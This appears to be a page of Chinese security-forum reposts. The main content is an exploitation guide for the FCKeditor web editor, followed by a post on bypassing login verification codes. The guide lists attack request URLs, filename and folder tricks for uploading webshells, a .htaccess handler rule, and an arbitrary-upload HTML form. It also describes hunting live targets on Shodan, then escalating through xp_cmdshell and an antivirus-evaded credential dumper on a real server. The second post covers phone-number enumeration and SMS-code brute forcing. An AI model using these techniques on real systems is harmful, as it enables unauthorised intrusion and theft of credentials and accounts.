Fckeditor漏洞总结(转)

fireant 发表了文章 • 1 个评论 • 389 次浏览 • 2019-03-18 16:45 • 来自相关话题

Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html
 4.常见的上传地址
(1)connector.aspx文件FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp 
(2)browser.html文件FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg  
6.iis6突破文件夹限制Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp 
(3)获取当前文件夹FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
(4)浏览E盘文件/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/ 
(5)JSP 版本FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/ 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form> 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容AppType  application/x-httpd-php  .jpg 
另外一种方法也可以,其内容为: <FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch> 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html
 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。 查看全部
Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:
(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址
FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html

 4.常见的上传地址
(1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
 
(2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: 
http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg 
 
6.iis6突破文件夹限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
 
(3)获取当前文件夹
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
 
(4)浏览E盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
 
(5)JSP 版本
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容
AppType  application/x-httpd-php  .jpg
 
另外一种方法也可以,其内容为: 
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字
https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。
 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:
http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html

 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。

基于Web页面验证码机制漏洞的检测

flaray 发表了文章 • 0 个评论 • 215 次浏览 • 2019-03-16 10:43 • 来自相关话题

一、不可靠的前端校验
在现实环境中,会有许多的网站他们没有严格进行身份校验,他们往往是通过依靠帐号密码发送后回传的状态码来判断用户身份是否正确,这就暴露出了很大的漏洞,这种漏洞利用起来就相当的容易,往往只需要一个安全界的神器BURP就可以完成身份验证的绕过,在登录的时候输入正确的账户以及随意的密码,将报文拦截下来,然后选择burp里面的拦截返回包的功能,捕捉返回的状态码。
将返回包中的状态码修改为正常登录的状态码,当然这里的状态码不一定都是0和1这种,各种状态码都有可能存在,那么我们怎么样判断正确的状态码是什么呢?
这里我们就需要自己手动注册一个用户,然后进行正常登录,并且抓取返回的状态码,当你发现发回的报文中,仅仅只存在状态码,并没有其他set-cookie或者tocken等信息的时候,那么这个登录界面就有极大的可能性存在这种漏洞。这是比较致命的一种漏洞,那么你可能就会有其他的问题了,即使他存在了这种漏洞,但是我们不太可能拥有其他大量的帐号,这个漏洞的危害不就没什么用了码?这就是我接下来要说的问题。
 
 二、遍历手机号
 
 
现在大多数的网站都存在着手机号注册的这一个功能,一般来说同一个手机号只能注册一个帐号,所以手机号也是能作为帐号,这就是能利用的一个点,当手机号能成为帐号的时候,那么之前所存在的疑问就解决了一半,既然知道手机是可以用来登录的帐号,那么如何来获得这些手机号呢?这个问题其实是一个非常好的问题,对于手机号来说,一共有11位数,要想胡乱的猜测一个手机号是否在这个平台上注册过,一次性猜中的概率是微乎其微,但是有的网站的忘记密码这一功能就存在利用的方法(不过这种漏洞厂商大多数是忽略的),但是我认为他的危害性还是有的。在我们忘记密码的时候输入手机号码,发送手机验证码的时候,部分网站都会先查询这个手机号是否在这个网站上注册过,要是没有则会提示号码不存在,存在则发送短信。那么可以使用这一个逻辑来进行用户手机号遍历。顺带提一下手机号码可以使用手机号码字典生成器来生成,然后用来遍历。
 
 

 
 
如图所示,用户不存在则是另外的信息。我们只需根据length长度来辨别,也可以自己写py脚本来遍历保存注册用户。这一个点可以获取到大量的用户手机号。
 
 三、可爆破的手机验证码
 
 
前面介绍了前端校验绕过的方法以及用户手机号获取的方式,接下来来讲解一下手机验证码的问题。我放一张思维导图来供大家参考
 
 
手机验证码存在的位置可能有三个点:登录、注册、密码找回这三个点。其中注册这个点的危害相对较小,除非找到一个可以批量注册帐号的点。
 
 
那么危害较大的就剩下登录和密码找回了,实际这两个点的原理是一样的,只不过利用的环境有所不同。
 
 
目前登录时候使用手机验证码登录的网站数量不是占很大的百分比,本文就以找回密码这块来说明。
 
 
我们在测试之前首先要进行判断的时候他的手机短信验证码的长度、时效以及页面是否存在有比较难的图片验证码,也就是难以用python的库直接识别的图片验证码(识别率低于50%)。这是我们首先要注意的,其次提交一次表单,抓包来看看,是否存在有前端加密,或者sign等。我以手机验证码长度为4位和6位来分类。
 
 第一类:4位手机验证码
 
 
当我们发现手机验证码长度为4位的时候,时效为5分钟左右,并且没有什么复杂前端加密或者sign和复杂的图片验证码的时候,那么恭喜你,你可能找到了一个可以爆破出验证码的点,这种漏洞虽然是爆破,但是他利用所花费的时间确实非常低的,通常可以在很短的时间内重置或者登录一个手机号。这对厂商来说就是一个高危漏洞,相信他会给你不错的报酬。
 
 
上面的这种属于较为简单的漏洞,笔者在前段时间测试的时候发现了带有sign标记的4位验证码,这种的爆破的难度就有所提升了,他的sign是根据当前的时间戳以及手机号验证码等信息进行加密后生成的,要想去破解这个加密算法,是不太现实的。于是笔者就使用了一种骚思路,可能各位安全界的大佬们也用过,那就是python的selenium库来模拟浏览器自动化点击测试,但是这个就需要自己去根据网站的实际情况以及窗口位置来编写脚本。关于selenium的提供一个学习链接。
 
 第二类:6位手机验证码
 
 
通常来说6位的验证码,30分钟的时效是一个挺安全的设计,因为在30分钟内想跑完100W条数据的难度还是挺大,并且网站通常会根据发包速率来进行限制,一旦你的发包速率突破设定,你将会被403,也就是你的IP会被封禁一段时间,有这些设置的验证码是安全的,但是如果说时效在1小时甚至更长,并且不限制IP的发包速率了话,那么利用也是可以利用的,只不过利用的成本过高,所以基本不考虑。因此在导图中写到基本不不去考虑。
 
 
 
 
 四、现实环境下的漏洞案例思路以及分析
 
 
接下来给大家带来一个真实的漏洞案例,也是我本人所挖掘到的一个高危漏洞
 
 

在登陆界面,由于图片验证码长期有效,所以猜测可以爆破。
 
 
通过两次提交发现图片验证码在一定时间内是不会发生变化的,尽管已经经过了一次校验 。因为查看js发现验证码是由手机验证码经过sha256后从第六位开始取4位收到的验证码,测试时候输入的验证码为1602
 
 
证明了这个加密算法,于是利用脚本生成了0000-9999的加密后的字典用来爆破。在爆破过程中发现,验证码的时效1分钟左右,并不足以完成爆破。于是就换了另外一种思路,既然通过爆破是没有办法完成验证码的限制,则想到了程序员在编写代码的时候他会不会犯一种错误,猜想他是否会将过期后的验证码重置为一串特定的字符。既然有了这种猜想,那么就肯定需要来进行一波验证,首先根据他的加密算法发现他的是sha256,也就是每一位验证码数据只会在0-f之间生成,于是生成了一个0000-ffff的字典,来进行了一波爆破,就如猜想的一样,爆破出一个意外的数值,当然并不是在第一次爆破过程中发现的,第一次可能是一个意外,于是我便借用了别人的手机进行了几次尝试后,发现这个数值是固定的,那么这个漏洞就证明成立的了。
 
 
这样就挖掘出了一个任意登录帐号的漏洞,刚好这个网站又存在如之前所说的手机号遍历的问题,于是结合这两个点所产生的结果就是可以登录任意用户。
 
 
当然关于挖掘到这方面的漏洞不止一个,但是碍于厂商修复尚未完成不宜公开其他漏洞 
 
 
分析:对于这个漏洞点的发现其实是因为当时测试时候的突发奇想,本身这个漏洞前端sha256加密截取4位这个算法不认真找都不容易发现,单单是这一个点就能拦住许多想爆破的人,验证码本身是为0000-9999的纯数字,很难联想到是从sha256中截取的字符串,但是当你绕过这个问题的时候,验证码的时效性就又成为了你的下一个问题,笔者在挖掘出这个特殊字符串的时候也是有点吃惊的,毕竟这个想法是我在挖掘的时候的突发奇想,也就是脑子一热冒出来的想法。所以当你在挖掘的时候被一个点困住的时候,不要死磕,可以发散一下思维说不定就能想到设计者在设计的时候所可能犯下的错误,4299这个数字在爆破出来后我对原先加密算法的字典里进行了一波搜索,发现并不存在4299这个数值的,可能设计者当初在设计的时候认为4299并2不属于任何0000-9999加密后的数值,以为这么设计不会产生问题。其实漏洞挖掘本身就是一个三分实力七分运气的事,本着常心肯定会挖掘出的。所以提升自己的能力、改善自己的心态将会成为你挖掘漏洞的时候的一大利器。
转自:https://www.freebuf.com/vuls/197632.html​ 查看全部
一、不可靠的前端校验
在现实环境中,会有许多的网站他们没有严格进行身份校验,他们往往是通过依靠帐号密码发送后回传的状态码来判断用户身份是否正确,这就暴露出了很大的漏洞,这种漏洞利用起来就相当的容易,往往只需要一个安全界的神器BURP就可以完成身份验证的绕过,在登录的时候输入正确的账户以及随意的密码,将报文拦截下来,然后选择burp里面的拦截返回包的功能,捕捉返回的状态码。
将返回包中的状态码修改为正常登录的状态码,当然这里的状态码不一定都是0和1这种,各种状态码都有可能存在,那么我们怎么样判断正确的状态码是什么呢?
这里我们就需要自己手动注册一个用户,然后进行正常登录,并且抓取返回的状态码,当你发现发回的报文中,仅仅只存在状态码,并没有其他set-cookie或者tocken等信息的时候,那么这个登录界面就有极大的可能性存在这种漏洞。这是比较致命的一种漏洞,那么你可能就会有其他的问题了,即使他存在了这种漏洞,但是我们不太可能拥有其他大量的帐号,这个漏洞的危害不就没什么用了码?这就是我接下来要说的问题。
 
 二、遍历手机号
 
 
现在大多数的网站都存在着手机号注册的这一个功能,一般来说同一个手机号只能注册一个帐号,所以手机号也是能作为帐号,这就是能利用的一个点,当手机号能成为帐号的时候,那么之前所存在的疑问就解决了一半,既然知道手机是可以用来登录的帐号,那么如何来获得这些手机号呢?这个问题其实是一个非常好的问题,对于手机号来说,一共有11位数,要想胡乱的猜测一个手机号是否在这个平台上注册过,一次性猜中的概率是微乎其微,但是有的网站的忘记密码这一功能就存在利用的方法(不过这种漏洞厂商大多数是忽略的),但是我认为他的危害性还是有的。在我们忘记密码的时候输入手机号码,发送手机验证码的时候,部分网站都会先查询这个手机号是否在这个网站上注册过,要是没有则会提示号码不存在,存在则发送短信。那么可以使用这一个逻辑来进行用户手机号遍历。顺带提一下手机号码可以使用手机号码字典生成器来生成,然后用来遍历。
 
 

 
 
如图所示,用户不存在则是另外的信息。我们只需根据length长度来辨别,也可以自己写py脚本来遍历保存注册用户。这一个点可以获取到大量的用户手机号。
 
 三、可爆破的手机验证码
 
 
前面介绍了前端校验绕过的方法以及用户手机号获取的方式,接下来来讲解一下手机验证码的问题。我放一张思维导图来供大家参考
 
 
手机验证码存在的位置可能有三个点:登录、注册、密码找回这三个点。其中注册这个点的危害相对较小,除非找到一个可以批量注册帐号的点。
 
 
那么危害较大的就剩下登录和密码找回了,实际这两个点的原理是一样的,只不过利用的环境有所不同。
 
 
目前登录时候使用手机验证码登录的网站数量不是占很大的百分比,本文就以找回密码这块来说明。
 
 
我们在测试之前首先要进行判断的时候他的手机短信验证码的长度、时效以及页面是否存在有比较难的图片验证码,也就是难以用python的库直接识别的图片验证码(识别率低于50%)。这是我们首先要注意的,其次提交一次表单,抓包来看看,是否存在有前端加密,或者sign等。我以手机验证码长度为4位和6位来分类。
 
 第一类:4位手机验证码

 
 
当我们发现手机验证码长度为4位的时候,时效为5分钟左右,并且没有什么复杂前端加密或者sign和复杂的图片验证码的时候,那么恭喜你,你可能找到了一个可以爆破出验证码的点,这种漏洞虽然是爆破,但是他利用所花费的时间确实非常低的,通常可以在很短的时间内重置或者登录一个手机号。这对厂商来说就是一个高危漏洞,相信他会给你不错的报酬。
 
 
上面的这种属于较为简单的漏洞,笔者在前段时间测试的时候发现了带有sign标记的4位验证码,这种的爆破的难度就有所提升了,他的sign是根据当前的时间戳以及手机号验证码等信息进行加密后生成的,要想去破解这个加密算法,是不太现实的。于是笔者就使用了一种骚思路,可能各位安全界的大佬们也用过,那就是python的selenium库来模拟浏览器自动化点击测试,但是这个就需要自己去根据网站的实际情况以及窗口位置来编写脚本。关于selenium的提供一个学习链接
 
 第二类:6位手机验证码
 

 
通常来说6位的验证码,30分钟的时效是一个挺安全的设计,因为在30分钟内想跑完100W条数据的难度还是挺大,并且网站通常会根据发包速率来进行限制,一旦你的发包速率突破设定,你将会被403,也就是你的IP会被封禁一段时间,有这些设置的验证码是安全的,但是如果说时效在1小时甚至更长,并且不限制IP的发包速率了话,那么利用也是可以利用的,只不过利用的成本过高,所以基本不考虑。因此在导图中写到基本不不去考虑。
 
 
 
 
 四、现实环境下的漏洞案例思路以及分析
 
 
接下来给大家带来一个真实的漏洞案例,也是我本人所挖掘到的一个高危漏洞
 
 

在登陆界面,由于图片验证码长期有效,所以猜测可以爆破。
 
 
通过两次提交发现图片验证码在一定时间内是不会发生变化的,尽管已经经过了一次校验 。因为查看js发现验证码是由手机验证码经过sha256后从第六位开始取4位收到的验证码,测试时候输入的验证码为1602
 
 
证明了这个加密算法,于是利用脚本生成了0000-9999的加密后的字典用来爆破。在爆破过程中发现,验证码的时效1分钟左右,并不足以完成爆破。于是就换了另外一种思路,既然通过爆破是没有办法完成验证码的限制,则想到了程序员在编写代码的时候他会不会犯一种错误,猜想他是否会将过期后的验证码重置为一串特定的字符。既然有了这种猜想,那么就肯定需要来进行一波验证,首先根据他的加密算法发现他的是sha256,也就是每一位验证码数据只会在0-f之间生成,于是生成了一个0000-ffff的字典,来进行了一波爆破,就如猜想的一样,爆破出一个意外的数值,当然并不是在第一次爆破过程中发现的,第一次可能是一个意外,于是我便借用了别人的手机进行了几次尝试后,发现这个数值是固定的,那么这个漏洞就证明成立的了。
 
 
这样就挖掘出了一个任意登录帐号的漏洞,刚好这个网站又存在如之前所说的手机号遍历的问题,于是结合这两个点所产生的结果就是可以登录任意用户。
 
 
当然关于挖掘到这方面的漏洞不止一个,但是碍于厂商修复尚未完成不宜公开其他漏洞 
 
 
分析:对于这个漏洞点的发现其实是因为当时测试时候的突发奇想,本身这个漏洞前端sha256加密截取4位这个算法不认真找都不容易发现,单单是这一个点就能拦住许多想爆破的人,验证码本身是为0000-9999的纯数字,很难联想到是从sha256中截取的字符串,但是当你绕过这个问题的时候,验证码的时效性就又成为了你的下一个问题,笔者在挖掘出这个特殊字符串的时候也是有点吃惊的,毕竟这个想法是我在挖掘的时候的突发奇想,也就是脑子一热冒出来的想法。所以当你在挖掘的时候被一个点困住的时候,不要死磕,可以发散一下思维说不定就能想到设计者在设计的时候所可能犯下的错误,4299这个数字在爆破出来后我对原先加密算法的字典里进行了一波搜索,发现并不存在4299这个数值的,可能设计者当初在设计的时候认为4299并2不属于任何0000-9999加密后的数值,以为这么设计不会产生问题。其实漏洞挖掘本身就是一个三分实力七分运气的事,本着常心肯定会挖掘出的。所以提升自己的能力、改善自己的心态将会成为你挖掘漏洞的时候的一大利器。
转自:https://www.freebuf.com/vuls/197632.html​

SQLMAP深度解析及使用手册

llpkk 发表了文章 • 0 个评论 • 319 次浏览 • 2019-03-09 22:33 • 来自相关话题

在学习了基础的SQL注入原理之后便开始了SQL注入之路,比如写SQLi和一些CTF中的sql注入题。但是总能够发现自己的一些问题。比如闭合符通常找不到,有一些关键字都被过滤自己却无法GET到绕过的骚姿势,还有就是无论输入什么他都不会有任何反应等等一系列的问题。而在了解了sqlmap的强大的自动化之外,每次只是 -u "url"

